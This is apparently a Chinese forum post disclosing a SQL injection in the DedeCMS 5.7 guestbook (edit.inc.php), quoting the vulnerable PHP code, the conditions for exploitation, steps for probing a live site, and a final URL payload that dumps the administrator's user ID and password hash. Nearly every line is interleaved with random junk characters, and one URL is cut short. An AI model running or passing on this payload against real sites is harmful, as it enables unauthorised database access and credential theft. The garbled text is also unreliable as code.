影响版本为5.7" f F1 j' K, P" {7 C
X4 f+ \+ @" J# V3 @) C漏洞文件edit.inc.php具体代码:
" a. ]% I/ b; P- P' o: D4 `3 M
" B) r7 K0 ]- G. }< ?php % |$ ~7 Q" \7 e& h4 A
! r+ s, L* C q. M+ Cif(!defined('DEDEINC')) exit('Request Error!');
A2 a+ A* F6 l4 ~6 B+ S
. H) ~ z! R: V, a3 [
4 Q- W: A- `; ~9 B8 _/ v# o+ ?9 y1 Z6 g- c# d* X9 J
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; . w# w) M* U u Y
: f9 d% b5 ^5 @/ j2 C! e
else $GUEST_BOOK_POS = "guestbook.php";
4 f5 A& c6 z0 T! y9 g; [3 d& v. U" y3 r" R1 w/ F" A; V* t- ?8 @
. |0 g( N3 x" E
: k" Z2 ^3 {6 k$ w$id = intval($id);
3 Q K+ o# y+ l" |6 h( y" l( U
z% M2 v$ C. {" J9 v$ g. @if(empty($job)) $job='view'; 0 H5 f% E' J5 x' K, Q
' p. ~! v1 D( e( Z8 \) f* Q4 B
1 {/ v9 w8 }3 s/ {& i6 c
, k7 \: O. _! H$ a: Pif($job=='del' && $g_isadmin) |# ~5 R7 m& L: [, P
+ K( a ]( {8 z/ F, y{
S) X( p% ?+ i# C# w) R% \
$ r9 R5 p% M1 y1 s$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
8 b8 _; \, A. t) P; Y: m- i3 b% q. x9 {* E" f* r5 o
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); ) d6 D- n$ {% `, V4 o1 a. A' V$ V" E( i
0 @9 I" Y" G8 w/ B; |; m4 |9 Y' N* Xexit(); 7 [7 W! Z6 |6 T2 e! v
- X2 I3 I. A* f7 E6 R
}
" ?$ X% S: T5 a4 n5 }* M( U! x# T4 ^8 s# |; {' ~9 ]
else if($job=='check' && $g_isadmin)
+ T/ n) O! a9 ?/ T% ~1 g9 j; S: l4 b: R1 S$ g8 @6 J+ A4 E. Q
{ ( I8 A# W2 C1 m+ C5 i: L
0 ?. f9 z" {# i+ H# ^% F
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
) E, l1 V e6 M. ?! {( n v4 y c( x% |
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
$ X, E. P8 c! t, ]% N& E, P7 V; x
exit();
- ?/ c$ D# ?- P8 n. C
6 `% S, e: V3 ?* g* I# O5 ~: ^1 ~} ' V# R0 y1 w( f! p$ P
2 R0 e1 L9 J5 g2 N# E# G; \& Delse if($job=='editok')
* Q: j: C2 O) a( Z S" n- H8 S3 H6 H& O+ G
{
4 t9 `- U% {+ C/ [* T( A X+ F, Z G3 W% H* N8 g; h
$remsg = trim($remsg); ; r6 m8 M! _2 Z( q* m* p
* b* T% l/ `6 ~7 U
if($remsg!='') 0 R4 y$ \- Z5 ~
! n7 g" x8 d/ N+ I# J6 c( A/ Y{ / y' m5 B' Q/ [" O6 c
- B* P! \4 s5 z' d, Q0 O
//管理员回复不过滤HTML By:Errorera blog:errs.cc
2 }, R% k0 S2 n# j# ?2 S5 a. I4 M+ h2 ]( l! g4 d6 ^/ D
if($g_isadmin)
( {6 G3 Z% |7 X ]: }. k: Y
' V3 H, N% v' N3 r$ r; I{
* ^9 x" I% L2 W! ~6 z- A+ I0 i% P9 C, V. w$ J, e
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
, X+ H' i* |+ U5 G6 X; @0 ~. d; O0 p+ R
//$remsg <br /><font color=red>管理员回复:</font> } ) ^$ K7 p' H# X$ R' C- W' N: \
5 Z; o) q* E" I* y+ |* Y" W2 R$ d
else
/ ~' r% K0 S% G$ q" m5 o: x* r9 k7 y9 C. Q/ b/ V/ d+ y
{
" ]" ~- S. G/ Y. f
% F9 Q% C: k5 X) |3 A8 X7 N' ^$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); - d7 l+ i1 g# F4 @: W
" U; P: R* t3 I2 A% m$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; . \; L. s+ b9 w5 Q. f4 d/ d
' z2 O% l8 L7 i$ a( X% ~
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 4 d/ E3 B, \+ f& w y0 P
: ]: S; ^* ~# G' _
$msg = $oldmsg.$remsg;
6 L1 c7 X* q+ n, y& W' y( [- d) O* U' B3 w
} % B E/ O( C a$ S
+ q* J3 O* t) V T; H: V7 l! v}
2 L1 |) S. S* w+ [% w4 W) w X# N, W
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 1 V# _% M+ J# u
- h( N7 |& K) f% c$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ! q# T; f9 b4 ]. \4 D
8 Y4 n: N* g5 O: u1 \8 A% m& S QShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
+ q; F- A7 \/ q: g) c$ q8 j2 v6 T) m+ i$ j
* g9 w9 a8 B" vexit();
- `. G: ^, U( F8 S' R
- r7 [+ s4 e7 W( D, g1 w$ J' ]} ( I# Z5 Z0 P' U+ _& M- u. u# t4 ]5 b
* m: w$ q- L7 V! ^& ?1 h
//home:www.errs.cc 0 `7 ~( [, f3 ^2 N% J' G
, M) f# S5 T. e4 H9 v
if($g_isadmin)
% V/ y9 j/ j0 ~
- m) y% p9 j7 C. ?$ d{ % ], V! f& P z2 S+ Q, ?# n
7 B% ~1 q+ v. x* b$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
* m9 U3 ~- e' F0 d4 v5 Y2 Y- G( h- J
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 9 q6 h/ U# m/ s7 p" b
- y8 {9 p7 h: P: Z8 x}
$ I7 y" [3 G5 j4 w* S
: ]6 _* U( A$ O8 c4 u: E" F. Yelse 6 m, _3 _9 q6 T# S( S
! `6 i: b% l, x{
3 T, Y2 @8 R. f0 Y& D& F
4 v4 k& R9 T# C- K# [8 U- n; p# i8 X$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
* J6 r; Z o C/ {. I# A0 b0 u; D: J; n# X) g6 d) ^ t( k
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); ) ~) \: w6 m X m) ^1 e
9 L1 X$ T7 S5 k
} 漏洞成功需要条件:. ^! G6 ~5 T) B, x4 u/ b/ f
1. php magic_quotes_gpc=off
* @* H8 ?; g L' o2 t) Y; i2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
: `( h ^8 e3 L1 ^7 ?. F5 t6 H; X6 a, ?2 |+ @" b" h% p8 b0 z
怎么判断是否存在漏洞:3 v* c2 f- T f7 Z+ p S$ H
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 [7 r0 A6 b) s8 d6 {% b然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID% l( w; T. F; A. Q9 M7 k
访问:: g7 |' {4 S; z' ~
% H. z7 z3 [: b3 B& @
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
7 a: I5 ^% i* q$ O5 z跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% ~" [5 K0 v" s5 C
/ n7 y9 k! F& z5 E3 Y; d7 ]; P2 M
3 W5 H( i2 K/ ^5 a E3 [4 X8 I
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off9 r8 G& m7 `! J8 m5 Y/ B
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
9 [, a2 ]# \+ u5 Z3 K6 K5 n那么再次访问
; S& b& z4 {9 x; H% ~# y! `
+ \+ A1 j# Q) ` {; t& `- ?- e, `www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().% A6 I; L2 u" ~& P$ o1 \
& F) D/ }, N6 l' C
大概利用就是这样,大家有兴趣的多研究下!!; g- g0 v" p# o
, @( v: C5 B/ \: f- q5 A/ g
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
- C! c8 p$ x2 g2 c m8 q2 v
* N7 o) T2 R# v1 E! s1 x+ zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |